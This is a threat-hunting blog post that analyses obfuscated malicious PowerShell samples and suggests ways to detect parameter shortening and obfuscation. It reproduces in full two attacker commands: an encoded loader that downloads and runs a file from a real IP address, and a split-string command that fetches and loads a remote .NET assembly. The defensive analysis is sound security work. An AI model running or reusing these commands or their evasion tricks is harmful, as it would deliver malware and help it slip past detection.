Threat Hunting Thoughts: Manipulating Parameters and Obfuscating Commands

Introduction

In this iteration of Threat Hunting Thoughts, we will look at some malicious PowerShell samples to better understand some more pivot questions for threat hunting. More specifically, we will review some common techniques that are very easy to show in these PowerShell samples but consider how those techniques might be used as part of other attacks in a more generic manner.

The main pivot questions we address here are:

1. Could an adversary manipulate parameters and/or arguments to avoid static detections?
2. Instead of hunting on specific keywords, can we hunt for possible obfuscation methods directly?

Our first sample for reference will be on AnyRun here.

Parameter and/or Argument Manipulation

Our focus in this sample will actually only be on a portion of the first PowerShell execution (though there is a lot to unpack here from a wider threat hunting standpoint):

C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe" -w hidden -nop -noni -exec bypass -c        

For those who have spent a great deal of time working with PowerShell, you might already have an idea of why I’ve only taken the first part of this command to analyze. For those not as familiar, you might find it strange that I have seemingly left off all of the actual malicious inputs from the command line. The threat hunting potential here is parameter and/or argument manipulation. While very much a good technique to know about when hunting for malicious PowerShell activity, it’s also a very good generic concept to be aware of. Let’s take a closer look at these parameters and explain what we mean when we say “shortening.”

The first parameter in the command line is a simple “-w” which actually stands for WindowStyle. There are four WindowStyle settings: Normal, Minimized, Maximized, and Hidden (later we will see an additional way of setting the WindowStyle without using these keywords). The main point here is that Microsoft’s documentation states that the parameter is “WindowStyle” and yet the command will execute just fine even with just using “w” instead of the full word.

Of course, the WindowStyle parameter here is just the beginning. You might think that our options are to use the full parameter or just its first letter, but that is not the case. The next three parameters are all shortened but none of them are simply the first letter of their associated parameter keywords. The first, nop, represents NoProfile. The second, noni, represents NonInteractive. Finally, the third, exec, represents ExecutionPolicy. Now, none of these by themselves are inherently a sign of malicious activity. After all, Microsoft has made it so that all of them work and allow PowerShell to execute without any syntax warnings. The real question is how common are these shortened options on your systems? Just because these are “allowed” doesn’t mean that they are common. That is particularly true when you start seeing specific pairings of these shortened options in executions such as “nop” and “noni” being used together.

Keeping track of these parameters becomes even more difficult when you realize that you can also shorten them to examples such as “ec” for EncodedCommand. In fact, EncodedCommand has tons of options such as e, en, enc, and more. The overall result of all of these options is that it can be almost futile from an industry or EDR perspective to try and write detections that account for all possibilities in PowerShell commands much less actually determine if the usage of a shortened parameter alone is truly sufficient to raise an alarm. This is especially true since some of these shortened parameters are official aliases and encouraged for use in some contexts. Luckily it would be extremely rare for an EDR to not trigger on the remainder of this particular example, but I have quite often been surprised at what doesn’t trigger alerts in some cases. As threat hunters, we can’t make assumptions about what a product “might” detect and instead need to find or test examples like these and then adjust our efforts accordingly. You should also keep in mind that more generic detections tend to have lower severities and, oftentimes, do not fully stop a command from executing given the higher possibility of false positives.

But, again, the goal here is to understand the types of questions we can ask when trying to generate hypotheses for hunting in general. PowerShell is rife with this type of detection evasion, but you should also ask yourself if another piece of malware or some other LOLBin you are researching could also be subject to similar evasions. If so, how can you account for that possibility in your hunting?

Another Manipulation Technique Plus Obfuscation

Let’s look at another PowerShell example to see more of this parameter manipulation but also to have a bit more of a conversation around obfuscation methods. The sample is here. More specifically, we will focus on this execution first:

“C:\Windows\system32\cmd.exe" "/c PowerShell -EX bYpASs -Nop -w 1 -C DEvIcecRedEntiaLDEPLoYment.ExE ; IEx($(iex('[sysTEM.TExt.EncOdinG]'+[chAR]0x3A+[ChAR]0X3A+'UTF8.getStRiNG([syStEm.ConvErt]'+[chaR]0x3a+[CHaR]58+'fROMbASE64StRing('+[ChaR]34+'JGt1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJFckRlRklOaXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpiTUUsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGxRQ1ptekksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmxJLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB4QSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUWVBVZnBaKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiV1ciICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUVTcGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1QSWltd2NwbENNICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrdTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEzNC4xOS4xNzcuNDQvMjAvbmV3cGljdHVyZXRvZ2V0dXBkYXRlbmV3dGhpbmdzLnRJRiIsIiRlTlY6QVBQREFUQVxuZXdwaWN0dXJldG9nZXR1cGRhdGVuZXd0aGluZy52QlMiLDAsMCk7c1RBUlQtc2xFRXAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXG5ld3BpY3R1cmV0b2dldHVwZGF0ZW5ld3RoaW5nLnZCUyI='+[cHAr]0x22+'))')))"        

First, notice that we see yet another option for manipulating parameters and arguments. In this case, an argument to the WindowStyle parameter looks unusual. Instead of one of the previously discussed keywords, we simply have a “1” this time. As it turns out, there is no syntactic issue with this setting either and PowerShell treats it the same as the keyword “Hidden” during execution. So, another question to add to your list for threat hunting is whether or not parameters or keywords could be replaced with integers or numerals and still execute (this is very common with using an ordinal value for calling a method within a DLL via rundll32 instead of the method name but that is beyond this current post).

Again, it is very likely that this particular example will be caught by EDRs, but our focus is on understanding how threat actors change their commands to try and avoid simple detections. Aside from the shortening of parameters and arguments, we can see that this particular case also involves unusual uppercase and lowercase usage. This is extremely common not really because of any actual success in evading detections but because it is so simple to do and might, in very rare cases, help avoid a very simplistic detection. We can also see the repeated use of [Char] throughout the command to resolve hex and decimal into characters. As an example, the below line:

[sysTEM.TExt.EncOdinG]'+[chAR]0x3A+[ChAR]0X3A+'UTF8.getStRiNG        

Becomes (with some manual cleaning of the upper and lowercase letters):

[System.Text.Encoding]::UTF8.GetString        

The goal, of course, is to avoid any detections that require explicit double colons in this call. You can review the other examples for yourself to see other attempts to avoid simplistic detections.

Returning to our second question from the beginning of this blog, let’s look at another execution in this same sample that has even more blatant obfuscation.

"C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $SHellID[1]+$sHeLLiD[13]+'X') ((('{2}url'+' = {0}https:'+'//'+'raw.g'+'it'+'hubuserco'+'nte'+'nt.'+'com/NoDetec'+'tOn/NoDet'+'ectOn/'+'refs/'+'hea'+'ds'+'/'+'m'+'ain'+'/D'+'etahNo'+'t'+'h-'+'V.t'+'xt{0'+'}; {2}base64Co'+'ntent = (New-Objec'+'t Sys'+'t'+'em.'+'N'+'et.WebClient).DownloadSt'+'ri'+'ng({2}'+'u'+'r'+'l)'+'; {2}bin'+'aryConte'+'nt = '+'[System.'+'Co'+'nver'+'t]::From'+'Base64Stri'+'ng({2}'+'ba'+'se'+'6'+'4Content'+'); '+'{'+'2}assem'+'bly ='+' [Ref'+'le'+'ction.Asse'+'mbly]:'+':Load({'+'2}bi'+'n'+'a'+'r'+'y'+'C'+'onte'+'nt); '+'['+'d'+'nlib'+'.IO.Home]'+'::VAI'+'({1}'+'tx'+'t.RTT'+'H'+'GF'+'R/'+'0'+'2/44.771.'+'9'+'1.43'+'1//:'+'pt'+'th{1'+'}'+', {'+'1}d'+'esativado{'+'1}, {1}desati'+'v'+'ado{1}, {1}des'+'ativado{1}, '+'{1}RegA'+'sm{1}, {1}{1'+'}'+','+'{1}{1'+'})') -F [CHaR]39,[CHaR]34,[CHaR]36) )"        

Again, we see the usage of [Char] to obfuscate portions of commands (as well as referencing the standard ShellID variable for PowerShell), but now we can also see a dramatic increase in attempts to break up keywords that simple detections might require for alerting. If we are lucky, we can hook into the AMSI buffer and use that to help us still match on subsequent “cleaned” versions of this execution. However, AMSI bypasses are still quite common and even those are only needed in cases where adversaries fail to downgrade the PowerShell version used to execute their malicious code. Given that such evasions exist, threat hunters need to evaluate options for finding this activity on the systems they monitor.

We now arrive at the idea of detecting the obfuscation directly instead of trying to detect what is being obfuscated. Intuitively, we know that the above command looks unusual and probably needs to be reviewed even if we aren’t sure what exactly is happening. But we have to put that intuitive sense into concrete logic in order for a system or algorithm to understand that it is unusual and flag it for further analysis. How can we do that?

In our case, a very straightforward threat hunt might involve flagging any PowerShell executions that contain more than a set threshold of addition symbols. While that might work for this command, it’s certainly possible that threat actors can use the same obfuscation method in much smaller commands as well. Perhaps a ratio of addition symbols to command length is more accurate and scalable (i.e., if addition symbols make up more than 25% of a command then something is suspicious). As a threat hunter, you would need to perform that analysis and do testing to see what makes sense for the data you have available. You could also expand the detection to cover all symbols (e.g., not just the addition symbol but also curly braces or single quotes). As a quick note, I have also seen emojis used in PowerShell commands as part of obfuscation methods which was rather interesting. Could you hunt for emojis appearing in process execution logs?

This idea of detecting obfuscation often ends up leading to a discussion on ML/AI. Can we train a model that uses various features of process executions (e.g., ratio of symbols to command length, length of command, number of shortened parameters, etc.) to detect possible obfuscation more accurately than just manually looking at one or two features? There is a reason why, for example, the Splunk PEAK framework specifically calls out Model-Assisted Threat Hunts. While there is certainly an over saturation of advertising and inane talks around cybersecurity and ML/AI, there are some legitimate use cases to explore. If you are looking for a possible foray into ML/AI, then detecting PowerShell obfuscation is one place you might be able to start so long as you take the time to determine good features to use in your models.

Final Thoughts

As we get close to wrapping up, I would also like to suggest watching this presentation (it really is worth a watch if you want to understand the greater extent of this problem). It covers a wider range of unusual command line manipulation than discussed in this blog, but the overall point is the same: signatures that attempt to match very specific keywords in command line logs are bound to have false negatives. There are simply too many ways to change parameters and arguments or even something as simple as hyphens to have a single detection work well to catch everything. But as threat hunters, we should see these variances as an opportunity instead of a lost cause. Can we build a baseline of execution for certain binaries, such as PowerShell, and then look for anomalies based upon any of the ideas we’ve discussed so far in this blog? It may take quite a few iterations of the threat hunting process and many differing hypotheses, but it is possible to incrementally improve capability over time. Hard problems are most easily solved one step at a time and threat hunting for this type of activity is no different.

This blog was meant to be as concise as I could manage without over-simplifying the ideas presented. The two main topics we focused on were parameter and/or argument manipulation and the idea of hunting for obfuscation methods instead of overly specific keywords. There are many, many examples on sites such as VirusTotal and AnyRun that can be used for further research to help understand additional obfuscation methods. Also remember that while ML/AI can very often be unnecessarily shoved into various problems, some models actually are very well suited for exploring data and testing threat hunting hypotheses for topics such as obfuscation detection.

Hopefully this blog has proven helpful to those looking at threat hunting and wanting to understand two additional types of questions threat hunters should be routinely asking as they attempt to find malicious behaviors. I will potentially be covering more ideas and topics relevant to threat hunting as time goes on and I find topics that I can concisely describe without losing too much nuance. If you found this helpful, then hopefully you’ll take the time to read the future posts as well!